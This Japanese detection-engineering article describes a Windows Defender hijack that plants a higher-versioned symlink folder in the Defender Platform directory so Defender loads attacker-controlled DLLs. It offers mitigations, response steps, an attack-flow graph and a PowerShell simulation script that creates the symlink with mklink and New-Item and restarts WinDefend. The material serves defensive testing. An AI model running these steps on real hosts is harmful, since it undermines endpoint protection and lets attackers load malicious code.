フォルダリダイレクト手法で Windows Defender の保護シェルを突破する
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事は、攻撃者が制御する場所にポイントするシンボリックリンクディレクトリをDefender Platformパス内に配置することで、フォルダリダイレクションを悪用するWindows Defenderハイジャック手法を示しています。このシンボリックリンクフォルダに正当なプラットフォームディレクトリよりも高い「バージョン」番号を割り当てることにより、Defenderは再起動後に攻撃者が制御するパスを選択し、そこからコンポーネントをロードする可能性があります。これにより、DLLのサイドローディング、選択的なファイル削除、さらにはDefenderサービスの操作上の混乱を引き起こす機会が生まれます。
調査
著者のワークフローでは、アクティブなDefenderプラットフォームフォルダを一時的に攻撃者が制御するディレクトリにコピーし、プラットフォームの場所に(mklink /Dを使用して)作成したディレクトリシンボリックリンクを、偽造された高いバージョンの識別子を使用して追加します。再起動後、Defenderがリダイレクトされたディレクトリから実行されているのが観察され、DLLハイジャックやバイナリの削除によってDefenderの起動や保護を妨害するといった操作が可能になります。
緩和策
Windows Defender Platformディレクトリへの書き込み権限を厳密に制限し、シンボリックリンクの作成や予期しない「バージョン形式」サブフォルダの生成を監視することでリスクを最小化します。Defenderバイナリの整合性を管理し、実行可能パスの変更やプラットフォームディレクトリの選択挙動に変更があった場合はアラートを出します。可能であれば、Windows Defender Application Control(WDAC)や同等のハードニングポリシーを適用し、保護されたシステムの場所での不正な変更を防止します。
対応策
C:ProgramDataMicrosoftWindows DefenderPlatform以下に新しいシンボリックリンクフォルダが現れた場合や、mklinkがそのディレクトリを対象に使用された際にアラートを発します。Defenderファイルの整合性を確認し、実行中のバイナリが予想されたプラットフォームフォルダに由来していることを確認します。改ざんが確認された場合は、悪意のあるシンボリックリンクを削除し、信頼できるソースからDefenderプラットフォームファイルを復元してから、Defenderサービスを再起動し、ホスト全体の保護を再確認します。
graph TB %% クラス定義 classDef action fill:#99ccff classDef technique fill:#ffcc99 %% アクションノード action_create_symlink[“<b>アクション</b> – Defenderプラットフォームにシンボリックリンクフォルダを作成<br/><b>詳細</b>: リンクは高いバージョン番号の C:\TMP\AV を指す”] class action_create_symlink action action_copy_binaries[“<b>アクション</b> – 正規のDefenderバイナリを攻撃者管理ディレクトリへコピー”] class action_copy_binaries action action_place_malicious_dll[“<b>アクション</b> – 侵害されたフォルダに悪意のあるDLLを配置”] class action_place_malicious_dll action action_cleanup[“<b>アクション</b> – 証拠を消すためシンボリックリンクフォルダを削除”] class action_cleanup action %% 技術ノード tech_T1574_009[“<b>技術</b> – T1574.009 COMハイジャック<br/><b>説明</b>: COM登録を悪用して正規サービスに攻撃者のコードを読み込ませる”] class tech_T1574_009 technique tech_T1218[“<b>技術</b> – T1218 署名済みバイナリのプロキシ実行<br/><b>説明</b>: 信頼された署名付きバイナリで悪意のあるペイロードを実行”] class tech_T1218 technique tech_T1055_001[“<b>技術</b> – T1055.001 プロセスインジェクション(DLL)<br/><b>説明</b>: 正規プロセスのメモリ空間に悪意のあるDLLを読み込む”] class tech_T1055_001 technique tech_T1546_009[“<b>技術</b> – T1546.009 AppCert DLL実行<br/><b>説明</b>: AppCert機構を利用して悪意のあるDLLを読み込ませる”] class tech_T1546_009 technique tech_T1070_004[“<b>技術</b> – T1070.004 ファイル削除<br/><b>説明</b>: 悪意のある活動を隠すためにファイルやディレクトリを削除”] class tech_T1070_004 technique tech_T1562[“<b>技術</b> – T1562 防御の妨害<br/><b>説明</b>: セキュリティツールや機能を無効化または妨害”] class tech_T1562 technique %% 接続 action_create_symlink –>|使用| tech_T1574_009 tech_T1574_009 –>|有効化| action_copy_binaries action_copy_binaries –>|使用| tech_T1218 action_copy_binaries –>|準備| action_place_malicious_dll action_place_malicious_dll –>|利用| tech_T1055_001 action_place_malicious_dll –>|利用| tech_T1546_009 action_place_malicious_dll –>|結果| action_cleanup action_cleanup –>|使用| tech_T1070_004 tech_T1070_004 –>|結果| tech_T1562
攻撃フロー
シミュレーション実行
前提条件: テレメトリーとベースラインのプリフライトチェックが成功している必要があります。
理由: このセクションは、検出ルールをトリガーすることを目的とした敵対者の技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は直接的に識別されたTTPを反映し、検出ロジックが予想するテレメトリーを正確に生成することを目的とします。抽象的または関連のない例は誤診につながります。
-
攻撃の説明とコマンド:
敵対者は、ターゲットホストで低権限のユーザーアカウントを侵害しており、彼らの目的は、Windows Defenderが開始されたときに悪意のあるペイロードをロードするために、Defenderの「Platform」フォルダを彼らが制御する場所にリダイレクトすることです。彼らは以下の手順を実行します。- ステージングディレクトリを作成 (
C:TMPAV)に悪意のあるDLLを保持します。 - ステージングディレクトリに配置 Defenderが期待する名前である
MpEngine.dllに加工されたDLLを。 - ディレクトリシンボリックリンクを作成 名前
C:ProgramDataMicrosoftWindows DefenderPlatform{random}ステージングディレクトリを指すようにし、ネイティブのmklinkユーティリティ(Sigmaルールをトリガーするため)とPowerShellのNew‑Item(ルール回避をテストするため)を使用して。 - Windows Defenderサービスを再起動し 乗っ取られたパスからの読み込みを強制します。
- ステージングディレクトリを作成 (
-
リグレッションテストスクリプト:
# ============================== # フォルダハイジャックシミュレーション # ============================== $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform" $attackerStaging = "C:TMPAV" $linkName = "$defenderPlatformHijackTarget" # 1. ステージングフォルダを準備 New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null # 2. ダミーの悪意のあるDLLをドロップ(プレースホルダー) $dummyDll = "$attackerStagingMpEngine.dll" Set-Content -Path $dummyDll -Value "MALICIOUS DLL CONTENT" -Encoding ASCII # 3a. ネイティブmklinkでシンボリックリンクを作成(Sigmaルールをトリガー) cmd /c "mklink /D `"$linkName`" `"$attackerStaging`"" # 3b. PowerShellでシンボリックリンクを作成(回避をテスト) $psLink = "$defenderPlatformHijackTarget_PS" New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force # 4. Windows Defenderサービスを再起動(管理者権限が必要) # 注意: このステップは、堅牢な環境ではブロックされている可能性があります。完全性のために含めています。 Restart-Service -Name "WinDefend" -Force -
クリーンアップコマンド:
# 作成したシンボリックリンクとステージングファイルを削除 $links = @( "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget", "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS" ) foreach ($l in $links) { if (Test-Path $l) { Remove-Item $l -Force } } $staging = "C:TMPAV" if (Test-Path $staging) { Remove-Item $staging -Recurse -Force } # 必要に応じてDefenderプラットフォームフォルダを元に戻す(シミュレーションには必要ありません)